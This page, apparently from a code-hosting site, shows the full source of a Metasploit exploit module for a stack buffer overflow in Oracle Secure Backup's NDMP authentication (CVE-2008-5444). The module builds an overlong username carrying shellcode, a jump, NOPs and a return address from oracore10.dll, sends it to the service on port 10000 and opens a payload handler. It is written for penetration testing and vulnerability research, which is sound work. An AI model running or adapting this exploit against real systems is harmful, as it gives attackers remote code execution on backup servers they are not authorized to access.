Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/oracle/osb_ndmp_auth.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::NDMP910def initialize(info = {})11super(update_info(info,12'Name' => 'Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow',13'Description' => %q{14The module exploits a stack buffer overflow in Oracle Secure Backup.15When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,16an attacker may be able to execute arbitrary code.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2008-5444' ],23[ 'OSVDB', '51340' ],24[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],25],26'Platform' => 'win',27'Privileged' => true,28'DefaultOptions' =>29{30'EXITFUNC' => 'process',31},32'Payload' =>33{34'Space' => 1024,35'BadChars' => "\x00",36'StackAdjustment' => -3500,37'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",38},39'Targets' =>40[41[ 'Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)', { 'Ret' => 0x608f5a28 } ], # oracore10.dll42],43'DisclosureDate' => '2009-01-14',44'DefaultTarget' => 0))4546register_options([Opt::RPORT(10000)])47end4849def exploit50connect5152print_status("Trying target #{target.name}...")5354ndmp_recv()5556username = rand_text_alphanumeric(3789 - payload.encoded.length)57username << payload.encoded + Rex::Arch::X86.jmp_short(6)58username << make_nops(2) + [target.ret].pack('V') + [0xe8, -850].pack('CV')59username << rand_text_alphanumeric(5000 - 3793 - payload.encoded.length - 8 - 5)6061password = rand_text_alphanumeric(rand(25) + 1)6263# Create the authentication request64auth = [650, # Sequence number66Time.now.to_i, # Current time670, # Message type (request)680x901, # Message name (connect_client_auth)690, # Reply sequence number700, # Error status711 # Authentication type72].pack('NNNNNNN') +73[ username.length ].pack('N') + username +74[ password.length ].pack('N') + password +75[ 4 ].pack('N')7677print_status("Sending authentication request...")78ndmp_send(auth)7980handler81disconnect82end83end848586